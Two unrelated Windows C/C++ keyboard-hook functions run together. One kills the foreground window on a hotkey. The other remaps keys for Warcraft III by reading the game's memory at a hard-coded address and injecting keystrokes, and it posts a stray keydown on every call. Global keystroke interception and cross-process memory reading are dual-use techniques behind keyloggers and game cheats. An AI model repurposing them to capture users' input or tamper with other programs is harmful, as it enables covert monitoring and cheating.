LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode == HC_ACTION) { int vkey = ((PKBDLLHOOKSTRUCT)lParam)->vkCode; if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) { // Check for Ctrl+Alt+F4 if (vkey == VK_LCONTROL) { ctrl = 1; } else if (vkey == VK_LMENU) { alt = 1; } else if (ctrl && alt && vkey == VK_F4) { // Double check that Ctrl and Alt are being pressed. // This prevents a faulty kill if we didn't received the keyup for these keys. if (!(GetAsyncKeyState(VK_LCONTROL)&0x8000)) { ctrl = 0; return CallNextHookEx(NULL, nCode, wParam, lParam); } else if (!(GetAsyncKeyState(VK_LMENU)&0x8000)) { alt = 0; return CallNextHookEx(NULL, nCode, wParam, lParam); } // Get hwnd of foreground window HWND hwnd = GetForegroundWindow(); if (hwnd == NULL) { return CallNextHookEx(NULL, nCode, wParam, lParam); } // Kill it! Kill(hwnd); // Prevent this keypress from being propagated return 1; } // Check for [the windows key]+F4 else if (vkey == VK_LWIN) { win = 1; } else if (win && vkey == VK_F4) { // Double check that the windows button is being pressed if (!(GetAsyncKeyState(VK_LWIN)&0x8000)) { win = 0; return CallNextHookEx(NULL, nCode, wParam, lParam); } // Hook mouse HookMouse(); // Prevent this keypress from being propagated return 1; } else if (vkey == VK_ESCAPE && mousehook) { // Unhook mouse UnhookMouse(); // Prevent this keypress from being propagated return 1; } } else if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP) { killing = 0; if (vkey == VK_LCONTROL) { ctrl = 0; } else if (vkey == VK_LMENU) { alt = 0; } else if (vkey == VK_LWIN) { win = 0; } } } return CallNextHookEx(NULL, nCode, wParam, lParam); }
//定义全局的底层键盘钩子回调函数 LRESULT CALLBACK LowLevelKeyboardProc(int nCode,WPARAM wParam,LPARAM lParam) { //获取最前端窗口 topWnd = GetForegroundWindow(); //通过读取内存信息来判断是否为聊天模式 //获取窗口进程ID DWORD processid; ::GetWindowThreadProcessId(m_hwar3,&processid); //打开指定进程 HANDLE processH=::OpenProcess(PROCESS_ALL_ACCESS,false,processid); //读指定进程 内存数据 LPCVOID pbase=(LPCVOID)0x6FAE8450; //数据基址 通过此数据来判断聊天模式,通过CE查找。 int chatStatus; //LPVOID nbuffer=(LPVOID)&chatNum; ::ReadProcessMemory(processH,pbase,&chatStatus,4,NULL); if (chatStatus) { return CallNextHookEx(m_hkeyboard,nCode,wParam,lParam); } if (topWnd==m_hwar3) //如果最前端的窗口是魔兽争霸的窗口,则开启改键功能 { PKBDLLHOOKSTRUCT kbstruct; if(0==PostMessage(m_hwar3,WM_KEYDOWN,0x4C,1)) { ASSERT(0); return 1; } if (WM_KEYDOWN==wParam) { kbstruct=(PKBDLLHOOKSTRUCT)lParam; //修改小键盘 if ((int)g_num1[0]==kbstruct->vkCode) { keybd_event(VK_NUMPAD1,0,0,0); keybd_event(VK_NUMPAD1,0,KEYEVENTF_KEYUP,0); return 1; } if ((int)g_num2[0]==kbstruct->vkCode) { keybd_event(VK_NUMPAD2,0,0,0); keybd_event(VK_NUMPAD2,0,KEYEVENTF_KEYUP,0); return 1; } if ((int)g_num4[0]==kbstruct->vkCode) { keybd_event(VK_NUMPAD4,0,0,0); keybd_event(VK_NUMPAD4,0,KEYEVENTF_KEYUP,0); return 1; } if ((int)g_num5[0]==kbstruct->vkCode) { keybd_event(VK_NUMPAD5,0,0,0); keybd_event(VK_NUMPAD5,0,KEYEVENTF_KEYUP,0); return 1; } if ((int)g_num7[0]==kbstruct->vkCode) { keybd_event(VK_NUMPAD7,0,0,0); keybd_event(VK_NUMPAD7,0,KEYEVENTF_KEYUP,0); return 1; } if ((int)g_num8[0]==kbstruct->vkCode) { keybd_event(VK_NUMPAD8,0,0,0); keybd_event(VK_NUMPAD8,0,KEYEVENTF_KEYUP,0); return 1; } //修改技能键 if ((int)g_newmag1[0]==kbstruct->vkCode && (int)g_oldmag1[0]!=0) { keybd_event(g_oldmag1[0],0,0,0); keybd_event(g_oldmag1[0],0,KEYEVENTF_KEYUP,0); return 1; } if ((int)g_newmag2[0]==kbstruct->vkCode && (int)g_oldmag2[0]!=0) { keybd_event(g_oldmag2[0],0,0,0); keybd_event(g_oldmag2[0],0,KEYEVENTF_KEYUP,0); return 1; } if ((int)g_newmag3[0]==kbstruct->vkCode && (int)g_oldmag3[0]!=0) { keybd_event(g_oldmag3[0],0,0,0); keybd_event(g_oldmag3[0],0,KEYEVENTF_KEYUP,0); return 1; } if ((int)g_newmag4[0]==kbstruct->vkCode && (int)g_oldmag4[0]!=0) { keybd_event(g_oldmag4[0],0,0,0); keybd_event(g_oldmag4[0],0,KEYEVENTF_KEYUP,0); return 1; } } } return CallNextHookEx(m_hkeyboard,nCode,wParam,lParam); }